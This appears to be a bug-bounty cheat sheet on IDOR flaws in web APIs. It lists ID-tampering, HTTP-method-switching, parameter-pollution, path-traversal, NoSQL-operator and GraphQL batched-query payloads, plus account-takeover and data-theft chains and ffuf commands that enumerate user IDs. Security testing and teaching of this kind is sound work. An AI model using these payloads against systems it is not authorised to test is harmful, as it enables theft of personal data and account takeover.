Skip to content
Web Security

IDOR

Insecure direct object reference with advanced bypass techniques

IDOR - Advanced Reference

Real-world IDOR exploitation and access control bypass techniques.


What Makes IDOR High Impact

TEXT
- Direct data access (PII, credentials, financial)
- Modify other users' data
- Delete resources you don't own
- Privilege escalation (user → admin)
- Account takeover chains

Where to Find IDORs

URL Parameters

TEXT
/api/users/123/profile
/api/orders/456/details
/download?file_id=789
/invoice?id=101
/account/settings?user=admin

Request Body

JSON
{"user_id": 123, "action": "delete"}
{"order_id": 456, "status": "cancelled"}
{"target_user": "victim@email.com"}

Headers

TEXT
X-User-ID: 123
X-Account: 456
Authorization: Bearer <token_for_user_123>

Cookies

TEXT
user_id=123
account_token=abc123
session_data={"uid":123}

Testing Methodology

Step 1: Map Object References

TEXT
1. Create multiple test accounts (user1, user2, admin)
2. Perform all actions with each account
3. Document all identifiers:
   - User IDs
   - Order IDs
   - Document IDs
   - File references
   - Email addresses
   - Usernames

Step 2: Cross-Account Testing

TEXT
1. Capture request as user1
2. Substitute user2's identifiers
3. Check if access granted
4. Test CRUD operations:
   - Create (can I create for another user?)
   - Read (can I view another user's data?)
   - Update (can I modify another user's data?)
   - Delete (can I delete another user's resources?)

Common IDOR Patterns

Numeric Sequential IDs

TEXT
/api/user/1001 → /api/user/1002
/order/5000/order/4999
/document/100/document/101

GUIDs/UUIDs (Still Vulnerable!)

TEXT
# If UUIDs are leaked or predictable
/api/file/a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Check for UUID leakage in:
- HTML source code
- API responses
- JavaScript files
- Error messages
- Logs accessible to users
- Email notifications

Encoded IDs

TEXT
# Base64 encoded
/api/user/MTAwMQ==  → decode → 1001
# Try encoding 1002: MTAwMg==

# Hex encoded
/api/user/3e9  → 1001 in hex
# Try 0x3ea for 1002

# Hashed IDs
# If MD5(user_id), try MD5(other_id)

HTTP Method-Based Access Control Bypass

Method Switching

TEXT
# Original blocked request
DELETE /api/user/123403 Forbidden

# Try alternatives
POST /api/user/123 with {"_method": "DELETE"}
GET /api/user/123/delete
POST /api/user/123/delete
PUT /api/user/123 with {"deleted": true}
PATCH /api/user/123 with {"status": "deleted"}

Verb Tampering

TEXT
# Sometimes GET allowed but POST blocked
# Or vice versa - try all HTTP methods
GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD

Parameter Manipulation

Parameter Pollution

TEXT
# Original
/api/user?id=123

# HPP variants
/api/user?id=123&id=456  # Which one used?
/api/user?id[]=123&id[]=456
/api/user?id=123,456

Additional Parameters

TEXT
# Add user_id to requests that don't have it
POST /api/change-password
{"password": "new123", "user_id": "456"}

# Add admin flags
POST /api/update-profile
{"name": "test", "role": "admin", "is_admin": true}

Wildcard/Array Injection

TEXT
/api/users/*
/api/users/..
/api/users/../admin
/api/users?id=*
/api/users?id[]=1&id[]=2&id[]=3

Bypass Techniques

Case Sensitivity

TEXT
/api/Users/123 vs /api/users/123
/api/USERS/123
/api/UsErS/123

Path Traversal

TEXT
/api/user/123/../456
/api/user/123/../../admin/456
/api/user/./456

Encoding

TEXT
/api/user/123 → /api/user/12%33
/api/user/456 → /api/user/%34%35%36
Unicode: /api/user/%C0%AE%C0%AE/456

Referrer/Origin Manipulation

TEXT
# If checking Referer header
Referer: https://target.com/admin/users/456

JSON Parameter Injection

JSON
# Original
{"id": 123}

# Injection attempts
{"id": 123, "id": 456}  # Second one might override
{"id": [123, 456]}
{"id": {"$gt": 0}}      # NoSQL if applicable
{"id": "456"}           # Type confusion
{"id": 456.0}           # Float instead of int

GraphQL IDOR

Direct Node Access

GRAPHQL
query {
  node(id: "base64-encoded-id") {
    ... on User {
      email
      privateData
    }
  }
}

Batched Queries

GRAPHQL
query {
  user1: user(id: 1) { email password }
  user2: user(id: 2) { email password }
  user3: user(id: 3) { email password }
}

API-Specific Patterns

REST APIs

TEXT
GET /api/v1/users/123          # View
PUT /api/v1/users/123          # Update
DELETE /api/v1/users/123       # Delete
GET /api/v1/users/123/orders   # Related resources

Resource Nesting

TEXT
# Check parent-child relationship validation
GET /api/companies/1/users/99  # User 99 not in company 1?
POST /api/companies/1/invoices/999  # Invoice not for company 1?

High-Impact IDOR Chains

Account Takeover

TEXT
1. Find IDOR in password reset: /api/reset?user_id=456
2. Reset victim's password
3. Login as victim

Data Exfiltration

TEXT
1. Find IDOR in export: /api/export?account=456
2. Export victim's data
3. Download PII/credentials

Privilege Escalation

TEXT
1. Find IDOR in role update: /api/user/456/role
2. POST {"role": "admin"}
3. Gain admin access

Bug Bounty Tips

Automation

BASH
# Generate ID list
seq 1 1000 > ids.txt

# Test with ffuf
ffuf -u "https://target.com/api/user/FUZZ" -w ids.txt -mc 200

# Compare response sizes
ffuf -u "https://target.com/api/user/FUZZ" -w ids.txt -mc all -fs <normal_size>

Report Writing

TEXT
- Clearly show two different user contexts
- Demonstrate actual data exposure
- Show the exact parameter being manipulated
- Include impact (PII exposure, account takeover, etc.)
- Record video proof if possible

Common Misses

TEXT
□ Mobile app endpoints (different auth)
□ Legacy API versions (/v1/ vs /v2/)
□ Internal/admin endpoints
□ File/document downloads
□ Webhook configurations
□ Report generation endpoints
□ Export/backup features
□ Email/notification previews
On this page